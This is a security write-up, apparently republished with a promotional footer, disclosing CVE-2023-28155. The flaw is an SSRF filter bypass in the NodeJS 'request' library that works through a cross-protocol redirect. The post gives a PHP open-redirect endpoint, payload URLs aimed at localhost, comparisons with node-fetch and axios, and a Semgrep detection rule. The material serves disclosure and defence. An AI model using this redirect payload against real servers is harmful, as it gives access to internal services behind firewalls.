Bypass SSRF via protocol change redirect

5 min readJul 26, 2023

Server Side Request Forgery (SSRF) is a fairly well known vulnerability with mitigation methods in place. So imagine my surprise when I got around the SSRF elimination during normal retesting. To make matters worse, I bypassed the filter we ourselves recommended ! I could not lose sight of this and had to get to the bottom of the problem.

Introduction

Server Side Request Forgery is a vulnerability in which an attacker uses a victim’s server to make HTTP requests on behalf of the attacker. Because the server usually has access to the internal network, this attack is useful for bypassing firewalls and IP whitelists to access hosts otherwise inaccessible to the attacker.

Query Library Vulnerability

SSRF attacks can be prevented by address filtering, assuming no filter bypasses exist. One of the classic methods to bypass SSRF filtering is a redirect attack. In these attacks, the attacker sets up a malicious web server that hosts an endpoint that redirects to an internal address. The victim server properly allows the request to be sent to an external server, but then blindly follows a malicious redirect to an internal service.

Of course, none of the above is new. All of these methods have been around for many years, and any reputable SSRF protection library reduces such risks. And yet I got around them.

The client code was a simple endpoint built for integration. During the initial interaction, there was no filtering at all. After our testing, the client applied the ssrfFilter anti-SSRF library . For purposes of research and code anonymity, I’ve extracted the logic from a standalone NodeJS script:

const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);request({
    uri: url,
    agent: ssrfFilter(url),
}, function (error, response, body) {
    console.error('error:', error);
    console.log('statusCode:', response && response.statusCode);
});

To test the redirect bypass, I created a simple web server with an open redirect endpoint in PHP and hosted it on the web using my test domain tellico.fun:

<?php header('Location: '.$_GET["target"]); ?>

The initial test shows that the vulnerability has been fixed:

$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test" 
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.

But then I switched the protocol and all of a sudden I was able to access the local hosting service again. Readers should take a close look at the payload, as the difference is minimal:

$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200

What happened? The attacker’s server redirected the request to another protocol — from HTTPS to HTTP. That’s all it took to bypass the SSRF protection.

Why is this? After some digging into the code base of the popular requests library , I found lib/redirect.js the following lines in the file:

// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}

According to the code above, whenever a redirect causes a protocol switch, the request agent is removed. Without this workaround, the client would fail whenever the server invoked a cross-protocol redirect. This is necessary since native NodeJS http(s).agent cannot be used with both protocols.

Unfortunately, this behavior also loses any event handling associated with the agent. Given that SSRF prevention is based on createConnection the agent event handler, this unexpected behavior impacts the effectiveness of the SSRF mitigation strategies in request the library.

Disclosure

This issue was reported to the maintainers on December 5, 2022. Despite our best efforts, we still have not received confirmation. After 90 days have passed, we have decided to release the full technical information , as well as a public issue on Github related to the pull request . On March 14, 2023, this vulnerability was assigned a CVE identifier.

05.12.2022 — First disclosure for the maintainer
01/18/2023 — Another attempt to contact the maintainer
03/08/2023 — Creating a Github issue , no technical details
2023–03–13 — Assigned CVE-2023–28155
03/16/2023 — Disclosure of full technical information

Other libraries

Since the supposedly universal filter has turned out to be so dependent on the implementation of HTTP(S) clients, it’s natural to ask how other popular libraries deal with these cases.

Node sampling

node-Fetch The library also allows you to rewrite the HTTP(S) agent within its options, without specifying the protocol:

const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));

let url = process.argv[2];
console.log("Testing", url);fetch(url, {
    agent: ssrfFilter(url)
}).then((response) => {
    console.log('Success');
}).catch(error => {
    console.log('${error.toString().split('\n')[0]}');
});

However, unlike request the library, in the case of cross-protocol redirection, this simply fails:

$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"

Therefore, it is not possible to perform a similar attack on this library.

Axios

axios The library options allow you to rewrite agents for both protocols separately. Therefore, the following code is protected:

axios.get(url, {
    httpAgent: ssrfFilter("http://domain"),
    httpsAgent: ssrfFilter("https://domain")
})

Note: In the Axios library, URLs must be hard-coded during agent rewrite. Otherwise, one of the agents would be overwritten by the agent for the wrong protocol, and the interprotocol redirect would fail, similar to node-fetch a library.

However, axios calls can be vulnerable. If you forget to overwrite both agents, protocol crossover can bypass the filter:

axios.get(url, {
    // httpAgent: ssrfFilter(url),
    httpsAgent: ssrfFilter(url)
})

Such misconfigurations can be easily overlooked, so we created a Semgrep rule that catches similar patterns in JavaScript code:

rules:
  - id: axios-only-one-agent-set
    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
    mode: taint
    pattern-sources:
      - patterns:
        - pattern-either:
            - pattern: |
                {..., httpsAgent:..., ...}
            - pattern: |
                {..., httpAgent:..., ...}
        - pattern-not: |
                {...,httpAgent:...,httpsAgent:...}
    pattern-sinks:
      - pattern: $AXIOS.request(...)
      - pattern: $AXIOS.get(...)
      - pattern: $AXIOS.delete(...)
      - pattern: $AXIOS.head(...)
      - pattern: $AXIOS.options(...)
      - pattern: $AXIOS.post(...)
      - pattern: $AXIOS.put(...)
      - pattern: $AXIOS.patch(...)
    languages:
      - javascript
      - typescript
    severity: WARNING

Brief information

As discussed above, we discovered an SSRF vulnerability that could be exploited in the popular . Although this package is deprecated, this dependency is still used by over 50k projects with over 18M downloads per week.

We have demonstrated how an attacker can bypass any of the SSRF defenses implemented in this library by simply redirecting the request to a different protocol (for example, HTTP to HTTPS). While many of the libraries we reviewed did provide protection against such attacks, others, such as axios, could be potentially vulnerable if they were misconfigured in the same way. In an effort to make it easier to find and prevent these issues, we've also released our internal Semgrep rule.

We Got More Tools For #Price

https://t.me/redfishiaven

#Update #tutorial #rianews #software #hardware #technology #money #earning #ipmc #love #giveaways #computing #computers #informationtechnology #learning #AI #redfishiaven #servers #deepweb #darkweb #bitcoin

See REDFISH IA VEN ( https://goo.gl/maps/LVKkEYNN2LTe9C34A ) in Google Maps.

https://www.youtube.com/channel/UC6k_cFigPCSEtRyALo1D-tA

Be the First To Know About The New #software